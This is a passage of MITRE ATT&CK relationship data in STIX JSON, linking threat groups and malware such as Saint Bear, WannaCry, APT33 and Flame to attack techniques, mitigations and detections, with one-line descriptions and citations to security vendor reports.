22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c91f0ec-8944-43d8-9b55-153a4c031c44","created":"2024-05-25T16:33:12.506Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:33:12.506Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) initial payloads included encoded follow-on payloads located in the resources file of the first-stage loader.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c92a16b-9f72-4f79-a656-e79c6c04e48f","type":"relationship","created":"2019-01-31T00:23:06.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-17T01:19:37.025Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) obfuscates strings with base64 encoding.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c92afd0-50e1-42a7-97e0-6cec9b4f40cb","type":"relationship","created":"2021-04-23T01:52:58.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}],"modified":"2021-04-23T01:52:58.529Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.(Citation: FireEye HIKIT Rootkit Part 2)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c98448a-15ec-4a51-8c41-8f1379d2dc0a","type":"relationship","created":"2019-04-16T17:43:42.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2020-03-17T02:14:08.152Z","description":"[POWERTON](https://attack.mitre.org/software/S0371) has used HTTP/HTTPS for C2 traffic.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c9a5581-9199-4612-8840-06844b23cd1d","type":"relationship","created":"2022-02-18T13:42:42.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Roadtools","url":"https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/","description":"Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}],"modified":"2022-04-01T13:27:48.561Z","description":"[ROADTools](https://attack.mitre.org/software/S0684) can enumerate Azure AD applications and service principals.(Citation: Roadtools)\t","relationship_type":"uses","source_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","target_ref":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c9c3d3d-a209-43dc-ae8d-53cd4c1de65c","type":"relationship","created":"2020-05-12T22:22:08.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-12T22:22:08.596Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has enumerated installed software on compromised systems.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3c9ea8d0-d8b4-4ddd-89d8-47d38b057736","created":"2024-08-05T18:25:25.404Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:25:25.404Z","description":"Prevent users from installing Lua where not required.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ca37791-9dad-430f-aee9-0126d13ae932","type":"relationship","created":"2019-03-11T15:10:00.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.351Z","description":"[Empire](https://attack.mitre.org/software/S0363) can harvest clipboard data on both Windows and macOS systems.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ca38ed9-3691-461d-81a1-1ad8de5817bb","created":"2023-03-02T18:57:42.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T20:47:55.846Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can obtain the computer name and UUID, and enumerate local drives.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ca3a169-177b-44aa-b9c1-40e605f8edad","type":"relationship","created":"2020-03-19T22:16:54.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-19T22:16:54.878Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like Gpppassword to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ca496bf-41f9-4d0b-b36d-576f90db340e","type":"relationship","created":"2019-04-19T19:54:48.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"}],"modified":"2019-04-22T11:43:33.561Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ca53c3c-ec7d-4453-a80f-2f3306358a2f","created":"2023-07-27T20:47:04.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.946Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has created scheduled tasks in the `C:\\Windows` directory of the compromised network.(Citation: Mandiant FIN13 Aug 2022) ","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3cae7fc8-e671-486b-a431-791a32df92a7","created":"2024-09-06T22:07:35.124Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:07:35.124Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used various non-standard ports for C2 communication.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.544Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about its IP addresses and MAC addresses.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3caf848c-d95b-40ae-a288-2905319e4005","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2019-04-22T22:36:53.053Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has detected security tools.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cc0af18-2897-4008-a2b0-0234df50acde","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"},{"url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","source_name":"EFF Manul Aug 2016"},{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:48.015Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has been launched by starting iexplore.exe and replacing it with [Bandook](https://attack.mitre.org/software/S0234)'s payload.(Citation: Lookout Dark Caracal Jan 2018)(Citation: EFF Manul Aug 2016)(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cc1b62f-5059-4fb1-be06-72bb13498002","type":"relationship","created":"2021-08-24T17:04:27.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"}],"modified":"2021-08-24T17:04:27.215Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) attempted to make [Octopus](https://attack.mitre.org/software/S0340) appear as a Telegram Messenger with a Russian interface.(Citation: Securelist Octopus Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3cca00d1-fe7a-4546-bc70-e0f3482cd986","created":"2024-02-13T17:51:24.088Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-13T17:51:24.088Z","description":"(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--880f7b3e-ad27-4158-8b03-d44c9357950b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3cca2613-73d6-4c2a-b3c8-8824b682d157","created":"2022-07-08T12:47:20.670Z","x_mitre_version":"0.1","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle. ","modified":"2022-07-08T12:47:20.670Z","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ccaef78-13bd-40e8-bb4b-b5d203303262","type":"relationship","created":"2021-09-28T19:47:10.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-09-28T19:47:10.936Z","description":"(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cce0cb1-051f-48da-8712-e9d2eba871a0","type":"relationship","created":"2019-01-30T17:43:28.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-22T14:35:25.550Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails with malicious RAR and .LNK attachments.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ccef052-7ac9-47b1-9be6-8c140f279941","type":"relationship","created":"2020-05-15T16:50:05.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FSecure Lokibot November 2019","url":"https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml","description":"Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}],"modified":"2020-05-15T16:50:05.752Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the username on the infected host.(Citation: FSecure Lokibot November 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cd0e385-3c60-4742-b3a6-c07dbf10ba45","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2019-04-22T22:36:52.943Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can use Mshta.exe to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cd19d07-822d-4efd-9f8c-e5b329f331a5","type":"relationship","created":"2020-10-09T16:24:40.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-19T13:52:26.219Z","description":"[Maze](https://attack.mitre.org/software/S0449) operators have used VirtualBox and a Windows 7 virtual machine to run the ransomware; the virtual machine's configuration file mapped the shared network drives of the target company, presumably so [Maze](https://attack.mitre.org/software/S0449) can encrypt files on the shared drives as well as the local machine.(Citation: Sophos Maze VM September 2020) ","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cd2c187-587c-4969-957d-122ce654fc2a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2019-04-24T23:40:23.529Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3cd7c6ee-2972-4f21-a0cc-ccb70cb5cf23","created":"2024-08-05T21:45:25.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Flame","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","url":"https://securelist.com/the-flame-questions-and-answers-51/34344/"},{"source_name":"Kaspersky Flame Functionality","description":"Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.","url":"https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T14:08:44.746Z","description":"[Flame](https://attack.mitre.org/software/S0143) can create backdoor accounts with login `HelpAssistant` on domain connected systems if appropriate rights are available.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame 